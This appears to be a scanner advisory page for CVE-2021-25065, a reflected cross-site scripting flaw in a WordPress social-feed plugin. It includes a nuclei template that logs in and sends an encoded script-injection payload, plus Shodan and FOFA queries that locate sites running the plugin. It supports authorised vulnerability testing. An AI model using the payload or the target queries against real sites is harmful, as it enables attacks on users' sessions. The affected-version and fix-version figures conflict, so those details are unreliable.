Smash Balloon Social Post Feed < 4.1.1 - Authenticated Reflected Cross-Site Scripting

mediumseverity

5.4CVSS score

1.1%likelihood of exploitation, next 30 days

65%of all CVEs are less likely

Readycheck to confirm it

The plugin was affected by a reflected XSS in custom-facebook-feed in cff-top admin page.

Impact

An attacker can exploit this vulnerability to inject malicious scripts into web pages viewed by authenticated users, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Fixed in version 2.19.2

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=cff-top&cff_access_token=xox%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert(document.domain)%3E&cff_final_response=true
Positive when: status_code_2 == 200 and contains(body_2, "<img src onerror=alert(document.domain)>") and contains(body_2, "custom-facebook-feed")

Run it with nuclei: nuclei -id CVE-2021-25065 -u <target>

The full check

id: CVE-2021-25065

info:
  name: Smash Balloon Social Post Feed < 4.1.1 - Authenticated Reflected Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    The plugin was affected by a reflected XSS in custom-facebook-feed in cff-top admin page.
  impact: |
    An attacker can exploit this vulnerability to inject malicious scripts into web pages viewed by authenticated users, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 2.19.2
  reference:
    - https://wpscan.com/vulnerability/ae1aab4e-b00a-458b-a176-85761655bdcc
    - https://wordpress.org/plugins/custom-facebook-feed/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-25065
    cwe-id: CWE-79
    epss-score: 0.01077
    epss-percentile: 0.65308
    cpe: cpe:2.3:a:smashballoon:smash_balloon_social_post_feed:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: smashballoon
    product: smash_balloon_social_post_feed
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/custom-facebook-feed/
    fofa-query: body=/wp-content/plugins/custom-facebook-feed/
    publicwww-query: "/wp-content/plugins/custom-facebook-feed/"
  tags: cve2021,cve,wpscan,wordpress,wp-plugin,xss,wp,authenticated,smashballoon,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=cff-top&cff_access_token=xox%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert(document.domain)%3E&cff_final_response=true HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<img src onerror=alert(document.domain)>")'
          - 'contains(body_2, "custom-facebook-feed")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from